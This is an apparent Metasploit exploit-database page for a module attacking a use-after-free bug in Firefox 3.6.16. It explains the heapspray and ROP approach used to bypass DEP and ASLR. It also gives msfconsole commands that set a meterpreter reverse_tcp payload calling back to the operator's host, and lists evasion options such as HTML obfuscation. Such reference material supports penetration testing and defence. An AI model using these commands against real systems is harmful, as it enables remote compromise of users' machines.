Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability | Metasploit Exploit Database (DB)

Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability

This module exploits an use after free vulnerability in Mozilla Firefox 3.6.16. An OBJECT Element mChannel can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. (Discovered by regenrecht). This module uses heapspray with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay, a windows 7 target was provided using JAVA 6 and below to avoid aslr.

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Exploit Rank

  • Normal

Exploit Authors

  • regenrecht < >
  • Rh0 < >
  • mr_me < steventhomasseeley [at] gmail.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)
  • 1 - Firefox 3.6.16 on Windows XP SP3
  • 2 - Firefox 3.6.16 on Windows 7 + Java

Exploit Development


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Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/mozilla_mchannel
msf exploit(mozilla_mchannel) > show payloads
msf exploit(mozilla_mchannel) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mozilla_mchannel) > set LHOST [MY IP ADDRESS]
msf exploit(mozilla_mchannel) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 8080)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH The URI to use for this exploit (default is random)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)